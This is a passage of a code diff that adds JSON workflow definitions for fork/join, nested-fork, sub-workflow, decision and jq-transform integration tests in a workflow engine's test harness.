+ "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "permissive": true, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + ], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "join", + "taskReferenceName": "fanouttask_join", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [ + "t1", + "t2" + ], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_3", + "taskReferenceName": "t3", + "inputParameters": { + "p1": "workflow.input.param1", + "p2": "workflow.input.param2" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [ + "param1", + "param2" + ], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/fork_join_sub_workflow.json b/test-harness/src/test/resources/fork_join_sub_workflow.json new file mode 100644 index 0000000..1401751 --- /dev/null +++ b/test-harness/src/test/resources/fork_join_sub_workflow.json @@ -0,0 +1,92 @@ +{ + "name": "integration_test_fork_join_sw", + "description": "integration_test_fork_join_sw", + "version": 1, + "tasks": [ + { + "name": "fork", + "taskReferenceName": "fanouttask", + "inputParameters": {}, + "type": "FORK_JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [ + [ + { + "name": "sub_workflow_task", + "taskReferenceName": "st1", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_workflow" + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + [ + { + "name": "integration_task_2", + "taskReferenceName": "t2", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + ], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "join", + "taskReferenceName": "fanouttask_join", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [ + "st1", + "t2" + ], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [ + "param1", + "param2" + ], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/fork_join_sync_mode_integration_test.json b/test-harness/src/test/resources/fork_join_sync_mode_integration_test.json new file mode 100644 index 0000000..73d7dbb --- /dev/null +++ b/test-harness/src/test/resources/fork_join_sync_mode_integration_test.json @@ -0,0 +1,66 @@ +{ + "name": "ForkJoinSyncModeTest", + "description": "Issue #619: FORK_JOIN with joinMode=SYNC — 3 parallel branches, all succeed. The JOIN evaluates immediately (offset=0) once all branches are terminal.", + "version": 1, + "tasks": [ + { + "name": "fork", + "taskReferenceName": "forkTask", + "type": "FORK_JOIN", + "forkTasks": [ + [ + { + "name": "integration_task_1", + "taskReferenceName": "branch_a", + "type": "SIMPLE", + "inputParameters": { "p1": "${workflow.input.param1}" } + } + ], + [ + { + "name": "integration_task_2", + "taskReferenceName": "branch_b", + "type": "SIMPLE", + "inputParameters": { "p1": "${workflow.input.param1}" } + } + ], + [ + { + "name": "integration_task_3", + "taskReferenceName": "branch_c", + "type": "SIMPLE", + "inputParameters": { "p1": "${workflow.input.param1}" } + } + ] + ] + }, + { + "name": "joinTask", + "taskReferenceName": "joinTask", + "type": "JOIN", + "joinMode": "SYNC", + "joinOn": ["branch_a", "branch_b", "branch_c"] + }, + { + "name": "integration_task_4", + "taskReferenceName": "postJoinTask", + "type": "SIMPLE", + "inputParameters": { + "branchAResult": "${joinTask.output.branch_a}", + "branchBResult": "${joinTask.output.branch_b}", + "branchCResult": "${joinTask.output.branch_c}" + } + } + ], + "inputParameters": ["param1"], + "outputParameters": { + "branchAOutput": "${joinTask.output.branch_a}", + "branchBOutput": "${joinTask.output.branch_b}", + "branchCOutput": "${joinTask.output.branch_c}" + }, + "schemaVersion": 2, + "restartable": true, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} diff --git a/test-harness/src/test/resources/fork_join_sync_nested_integration_test.json b/test-harness/src/test/resources/fork_join_sync_nested_integration_test.json new file mode 100644 index 0000000..01c05e1 --- /dev/null +++ b/test-harness/src/test/resources/fork_join_sync_nested_integration_test.json @@ -0,0 +1,72 @@ +{ + "name": "ForkJoinSyncNestedTest", + "description": "Issue #619: Nested FORK_JOIN with joinMode=SYNC. Branch 1 contains an inner FORK_JOIN(SYNC); Branch 2 is a single task. The outer JOIN(SYNC) waits for the inner_JOIN and outer_c.", + "version": 1, + "tasks": [ + { + "name": "outerFork", + "taskReferenceName": "outer_fork", + "type": "FORK_JOIN", + "forkTasks": [ + [ + { + "name": "innerFork", + "taskReferenceName": "inner_fork", + "type": "FORK_JOIN", + "forkTasks": [ + [ + { + "name": "integration_task_1", + "taskReferenceName": "inner_a", + "type": "SIMPLE", + "inputParameters": {} + } + ], + [ + { + "name": "integration_task_2", + "taskReferenceName": "inner_b", + "type": "SIMPLE", + "inputParameters": {} + } + ] + ] + }, + { + "name": "innerJoin", + "taskReferenceName": "inner_join", + "type": "JOIN", + "joinMode": "SYNC", + "joinOn": ["inner_a", "inner_b"] + } + ], + [ + { + "name": "integration_task_3", + "taskReferenceName": "outer_c", + "type": "SIMPLE", + "inputParameters": {} + } + ] + ] + }, + { + "name": "outerJoin", + "taskReferenceName": "outer_join", + "type": "JOIN", + "joinMode": "SYNC", + "joinOn": ["inner_join", "outer_c"] + }, + { + "name": "integration_task_4", + "taskReferenceName": "postJoinTask", + "type": "SIMPLE", + "inputParameters": {} + } + ], + "schemaVersion": 2, + "restartable": true, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} diff --git a/test-harness/src/test/resources/fork_join_sync_optional_fail_integration_test.json b/test-harness/src/test/resources/fork_join_sync_optional_fail_integration_test.json new file mode 100644 index 0000000..b88b94d --- /dev/null +++ b/test-harness/src/test/resources/fork_join_sync_optional_fail_integration_test.json @@ -0,0 +1,49 @@ +{ + "name": "ForkJoinSyncOptionalFailTest", + "description": "Issue #619: FORK_JOIN with joinMode=SYNC — one branch is optional and expected to fail. The JOIN should COMPLETE (with errors) and the workflow should proceed.", + "version": 1, + "tasks": [ + { + "name": "fork", + "taskReferenceName": "forkTask", + "type": "FORK_JOIN", + "forkTasks": [ + [ + { + "name": "integration_task_1", + "taskReferenceName": "branch_required", + "type": "SIMPLE", + "inputParameters": {} + } + ], + [ + { + "name": "integration_task_2", + "taskReferenceName": "branch_optional", + "type": "SIMPLE", + "optional": true, + "inputParameters": {} + } + ] + ] + }, + { + "name": "joinTask", + "taskReferenceName": "joinTask", + "type": "JOIN", + "joinMode": "SYNC", + "joinOn": ["branch_required", "branch_optional"] + }, + { + "name": "integration_task_3", + "taskReferenceName": "postJoinTask", + "type": "SIMPLE", + "inputParameters": {} + } + ], + "schemaVersion": 2, + "restartable": true, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} diff --git a/test-harness/src/test/resources/fork_join_with_no_permissive_task_retry_integration_test.json b/test-harness/src/test/resources/fork_join_with_no_permissive_task_retry_integration_test.json new file mode 100644 index 0000000..ead2a67 --- /dev/null +++ b/test-harness/src/test/resources/fork_join_with_no_permissive_task_retry_integration_test.json @@ -0,0 +1,194 @@ +{ + "name": "FanInOutPermissiveTest_2", + "description": "FanInOutPermissiveTest_2", + "version": 1, + "tasks": [ + { + "name": "fork", + "taskReferenceName": "fanouttask", + "inputParameters": {}, + "type": "FORK_JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [ + [ + { + "name": "integration_p_task_0_RT_1", + "taskReferenceName": "t1", + "inputParameters": { + "p1": "workflow.input.param1", + "p2": "workflow.input.param2" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "permissive": true, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "taskDefinition": { + "createdBy": "integration_app", + "name": "integration_p_task_0_RT_1", + "description": "integration_p_task_0_RT_1", + "retryCount": 0, + "timeoutSeconds": 120, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 0, + "responseTimeoutSeconds": 3600, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + } + }, + { + "name": "integration_p_task_0_RT_3", + "taskReferenceName": "t3", + "inputParameters": { + "p1": "workflow.input.param1", + "p2": "workflow.input.param2" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "permissive": true, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "taskDefinition": { + "createdBy": "integration_app", + "name": "integration_p_task_0_RT_3", + "description": "integration_p_task_0_RT_3", + "retryCount": 0, + "timeoutSeconds": 120, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 0, + "responseTimeoutSeconds": 3600, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + } + } + ], + [ + { + "name": "integration_p_task_0_RT_2", + "taskReferenceName": "t2", + "inputParameters": { + "tp1": "workflow.input.param1" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "permissive": true, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "taskDefinition": { + "createdBy": "integration_app", + "name": "integration_p_task_0_RT_2", + "description": "integration_p_task_0_RT_2", + "retryCount": 0, + "timeoutSeconds": 120, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 0, + "responseTimeoutSeconds": 3600, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + } + } + ] + ], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "join", + "taskReferenceName": "fanouttask_join", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [ + "t3", + "t2" + ], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_p_task_0_RT_4", + "taskReferenceName": "t4", + "inputParameters": { + "tp1": "workflow.input.param1" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "permissive": true, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "taskDefinition": { + "createdBy": "integration_app", + "name": "integration_p_task_0_RT_4", + "description": "integration_p_task_0_RT_4", + "retryCount": 0, + "timeoutSeconds": 120, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 0, + "responseTimeoutSeconds": 3600, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + } + } + ], + "inputParameters": [ + "param1", + "param2" + ], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/fork_join_with_no_task_retry_integration_test.json b/test-harness/src/test/resources/fork_join_with_no_task_retry_integration_test.json new file mode 100644 index 0000000..ffdaf97 --- /dev/null +++ b/test-harness/src/test/resources/fork_join_with_no_task_retry_integration_test.json @@ -0,0 +1,126 @@ +{ + "name": "FanInOutTest_2", + "description": "FanInOutTest_2", + "version": 1, + "tasks": [ + { + "name": "fork", + "taskReferenceName": "fanouttask", + "inputParameters": {}, + "type": "FORK_JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [ + [ + { + "name": "integration_task_0_RT_1", + "taskReferenceName": "t1", + "inputParameters": { + "p1": "workflow.input.param1", + "p2": "workflow.input.param2" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_0_RT_3", + "taskReferenceName": "t3", + "inputParameters": { + "p1": "workflow.input.param1", + "p2": "workflow.input.param2" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + [ + { + "name": "integration_task_0_RT_2", + "taskReferenceName": "t2", + "inputParameters": { + "tp1": "workflow.input.param1" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + ], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "join", + "taskReferenceName": "fanouttask_join", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [ + "t3", + "t2" + ], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_0_RT_4", + "taskReferenceName": "t4", + "inputParameters": { + "tp1": "workflow.input.param1" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [ + "param1", + "param2" + ], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/fork_join_with_optional_sub_workflow_forks_integration_test.json b/test-harness/src/test/resources/fork_join_with_optional_sub_workflow_forks_integration_test.json new file mode 100644 index 0000000..35ea60d --- /dev/null +++ b/test-harness/src/test/resources/fork_join_with_optional_sub_workflow_forks_integration_test.json @@ -0,0 +1,92 @@ +{ + "name": "integration_test_fork_join_optional_sw", + "description": "integration_test_fork_join_optional_sw", + "version": 1, + "tasks": [ + { + "name": "fork", + "taskReferenceName": "fanouttask", + "inputParameters": {}, + "type": "FORK_JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [ + [ + { + "name": "st1", + "taskReferenceName": "st1", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_workflow" + }, + "joinOn": [], + "optional": true, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + [ + { + "name": "st2", + "taskReferenceName": "st2", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_workflow" + }, + "joinOn": [], + "optional": true, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + ], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "join", + "taskReferenceName": "fanouttask_join", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [ + "st1", + "st2" + ], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [ + "param1", + "param2" + ], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/hierarchical_fork_join_swf.json b/test-harness/src/test/resources/hierarchical_fork_join_swf.json new file mode 100644 index 0000000..dbcc75e --- /dev/null +++ b/test-harness/src/test/resources/hierarchical_fork_join_swf.json @@ -0,0 +1,71 @@ +{ + "name": "hierarchical_fork_join_swf", + "description": "hierarchical_fork_join_swf", + "version": 1, + "tasks": [ + { + "name": "fork", + "taskReferenceName": "fanouttask", + "inputParameters": { + "param1": "${workflow.input.param1}", + "param2": "${workflow.input.param2}", + "subwf": "${workflow.input.nextSubwf}" + }, + "type": "FORK_JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [ + [ + { + "name": "sub_workflow_task", + "taskReferenceName": "st1", + "inputParameters": { + "param1": "${workflow.input.param1}", + "param2": "${workflow.input.param2}", + "subwf": "${workflow.input.nextSubwf}" + }, + "type": "SUB_WORKFLOW", + "subWorkflowParam": { + "name": "${workflow.input.subwf}", + "version": 1 + }, + "retryCount": 0 + } + ], + [ + { + "name": "integration_task_2", + "taskReferenceName": "t2", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "retryCount": 0 + } + ] + ] + }, + { + "name": "join", + "taskReferenceName": "fanouttask_join", + "inputParameters": {}, + "type": "JOIN", + "joinOn": [ + "st1", + "t2" + ] + } + ], + "inputParameters": [ + "param1", + "param2", + "subwf" + ], + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} diff --git a/test-harness/src/test/resources/input.json b/test-harness/src/test/resources/input.json new file mode 100644 index 0000000..e69de29 diff --git a/test-harness/src/test/resources/json_jq_transform_result_integration_test.json b/test-harness/src/test/resources/json_jq_transform_result_integration_test.json new file mode 100644 index 0000000..89c349f --- /dev/null +++ b/test-harness/src/test/resources/json_jq_transform_result_integration_test.json @@ -0,0 +1,95 @@ +{ + "name": "json_jq_transform_result_wf", + "version": 1, + "tasks": [ + { + "name": "json_jq_1", + "taskReferenceName": "json_jq_1", + "description": "json_jq_1", + "inputParameters": { + "data": [], + "queryExpression": "if(.data | length >0) then \"EXISTS\" else \"CREATE\" end" + }, + "type": "JSON_JQ_TRANSFORM", + "startDelay": 0, + "optional": false, + "asyncComplete": false + }, + { + "name": "decide_1", + "taskReferenceName": "decide_1", + "inputParameters": { + "outcome": "${json_jq_1.output.result}" + }, + "type": "DECISION", + "caseValueParam": "outcome", + "decisionCases": { + "CREATE": [ + { + "name": "json_jq_2", + "taskReferenceName": "json_jq_2", + "description": "json_jq_2", + "inputParameters": { + "inputData": { + "request": { + "transitions": [ + { + "name": "redeliver" + }, + { + "name": "redeliver_from_validation_error" + }, + { + "name": "redelivery" + } + ] + } + }, + "queryExpression": ".inputData.request.transitions | map(.name)" + }, + "type": "JSON_JQ_TRANSFORM", + "startDelay": 0, + "optional": false, + "asyncComplete": false + }, + { + "name": "decide_2", + "taskReferenceName": "decide_2", + "inputParameters": { + "requestedAction": "${workflow.input.requestedAction}", + "availableActions": "${json_jq_2.output.result}" + }, + "type": "DECISION", + "caseExpression": "if ($.availableActions.indexOf($.requestedAction) >= 0) { \"true\" } else { \"false\" }", + "decisionCases": { + "false": [ + { + "name": "get_population_data", + "taskReferenceName": "get_population_data", + "inputParameters": { + "http_request": { + "uri": "https://datausa.io/api/data?drilldowns=Nation&measures=Population", + "method": "GET" + } + }, + "type": "HTTP", + "startDelay": 0, + "optional": false, + "asyncComplete": false + } + ] + } + } + ] + } + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/nested_fork_join_integration_test.json b/test-harness/src/test/resources/nested_fork_join_integration_test.json new file mode 100644 index 0000000..17f607a --- /dev/null +++ b/test-harness/src/test/resources/nested_fork_join_integration_test.json @@ -0,0 +1,348 @@ +{ + "name": "FanInOutNestedTest", + "description": "FanInOutNestedTest", + "version": 1, + "tasks": [ + { + "name": "fork1", + "taskReferenceName": "fork1", + "inputParameters": {}, + "type": "FORK_JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [ + [ + { + "name": "integration_task_11", + "taskReferenceName": "t11", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}", + "case": "${workflow.input.case}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + [ + { + "name": "fork2", + "taskReferenceName": "fork2", + "inputParameters": {}, + "type": "FORK_JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [ + [ + { + "name": "integration_task_12", + "taskReferenceName": "t12", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}", + "case": "${workflow.input.case}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_14", + "taskReferenceName": "t14", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}", + "case": "${workflow.input.case}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + [ + { + "name": "integration_task_13", + "taskReferenceName": "t13", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}", + "case": "${workflow.input.case}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "Decision", + "taskReferenceName": "d1", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}", + "case": "${workflow.input.case}" + }, + "type": "DECISION", + "caseValueParam": "case", + "decisionCases": { + "a": [ + { + "name": "integration_task_16", + "taskReferenceName": "t16", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}", + "case": "${workflow.input.case}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_19", + "taskReferenceName": "t19", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}", + "case": "${workflow.input.case}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_20", + "taskReferenceName": "t20", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}", + "case": "${workflow.input.case}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "b": [ + { + "name": "integration_task_17", + "taskReferenceName": "t17", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}", + "case": "${workflow.input.case}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_20", + "taskReferenceName": "t20b", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}", + "case": "${workflow.input.case}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + }, + "defaultCase": [ + { + "name": "integration_task_18", + "taskReferenceName": "t18", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}", + "case": "${workflow.input.case}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_20", + "taskReferenceName": "t20def", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}", + "case": "${workflow.input.case}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + ], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "join2", + "taskReferenceName": "join2", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [ + "t14", + "t20" + ], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + ], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "join1", + "taskReferenceName": "join1", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [ + "t11", + "join2" + ], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_15", + "taskReferenceName": "t15", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}", + "case": "${workflow.input.case}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [ + "param1", + "param2" + ], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/nested_fork_join_swf.json b/test-harness/src/test/resources/nested_fork_join_swf.json new file mode 100644 index 0000000..f06e0da --- /dev/null +++ b/test-harness/src/test/resources/nested_fork_join_swf.json @@ -0,0 +1,104 @@ +{ + "name": "nested_fork_join_swf", + "description": "nested_fork_join_swf", + "version": 1, + "tasks": [ + { + "name": "outer_fork", + "taskReferenceName": "outer_fork", + "inputParameters": { + "param1": "${workflow.input.param1}", + "param2": "${workflow.input.param2}", + "subwf": "${workflow.input.nextSubwf}" + }, + "type": "FORK_JOIN", + "forkTasks": [ + [ + { + "name": "inner_fork", + "taskReferenceName": "inner_fork", + "inputParameters": { + "param1": "${workflow.input.param1}", + "param2": "${workflow.input.param2}", + "subwf": "${workflow.input.nextSubwf}" + }, + "type": "FORK_JOIN", + "forkTasks": [ + [ + { + "name": "sub_workflow_task", + "taskReferenceName": "st1", + "inputParameters": { + "param1": "${workflow.input.param1}", + "param2": "${workflow.input.param2}", + "subwf": "${workflow.input.nextSubwf}" + }, + "type": "SUB_WORKFLOW", + "subWorkflowParam": { + "name": "${workflow.input.subwf}", + "version": 1 + }, + "retryCount": 0 + } + ], + [ + { + "name": 